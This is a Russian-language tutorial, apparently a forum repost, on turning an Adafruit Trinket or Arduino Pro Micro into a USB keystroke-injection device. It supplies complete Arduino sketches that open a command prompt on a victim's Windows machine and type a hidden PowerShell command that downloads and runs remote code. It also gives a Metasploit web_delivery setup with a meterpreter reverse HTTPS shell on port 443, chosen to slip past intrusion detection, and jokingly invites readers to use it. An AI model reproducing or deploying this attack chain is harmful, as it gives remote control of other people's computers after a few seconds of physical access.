Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.
Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это Для просмотра ссылки Войди
Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.
Для просмотра ссылки Войди
#include <TrinketKeyboard.h>
Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().
#include <TrinketKeyboard.h>
void setup() {
TrinketKeyboard.begin();
}
void loop() {
TrinketKeyboard.print("Help, I am trapped in a computer! \n");
delay(500);
}
Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.
#include <TrinketKeyboard.h>
void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
void winRun() {
TrinketKeyboard.pressKey(0x08, 0x15);
delay(30);
TrinketKeyboard.pressKey(0,0);
}
void setup() {
TrinketKeyboard.begin();
delay(1000);
winRun();
delay(100);
winRun();
delay(300);
// Run cmd
TrinketKeyboard.print("cmd");
pressEnter();
delay(500);
TrinketKeyboard.print("ipconfig");
delay(100);
pressEnter();
}
Отлично. Создадим эксплоит во фреймворке Metasploit.
Будем использовать модуль Для просмотра ссылки Войди
Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.
use exploit/multi/script/web_delivery
Нужно сказать нашей программе, откуда брать бинарники:
set LHOST 1.2.3.4
Дальше указываем порт, который не вызовет подозрений, что насчёт 443?
set LPORT 443
Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.
set URIPATH /
Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.
set TARGET 2
Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.
set PAYLOAD windows/meterpreter/reverse_https
И наконец exploit.
Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.
use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit
Получаем полезную нагрузку для запуска на компьютере жертвы:
powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]:efaultCredentials;IEX $N.downloadstring('Для просмотра ссылки Войди
Теперь можем запустить это с флэшки.
#include <TrinketKeyboard.h>
void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
void winRun() {
TrinketKeyboard.pressKey(0x08, 0x15);
delay(30);
TrinketKeyboard.pressKey(0,0);
}
void setup() {
TrinketKeyboard.begin();
delay(1000);
winRun();
delay(100);
winRun();
delay(300);
// Run cmd
TrinketKeyboard.print("cmd");
pressEnter();
delay(500);
TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]:efaultCredentials;IEX $N.downloadstring('Для просмотра ссылки Войди
delay(100);
pressEnter();
}
void loop() {
// nothing happens after setup
}
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.
Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Для просмотра ссылки Войди
Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал Для просмотра ссылки Войди
Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.
Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.
#include "Keyboard.h"
void winRun() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(30);
Keyboard.releaseAll();
delay(100);
}
void setup() {
Keyboard.begin();
delay(2000);
winRun();
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(500);
Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]:efaultCredentials;IEX $C.downloadstring('Для просмотра ссылки Войди
Keyboard.write(KEY_RETURN);
}
void loop() {
// put your main code here, to run repeatedly:
}
Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.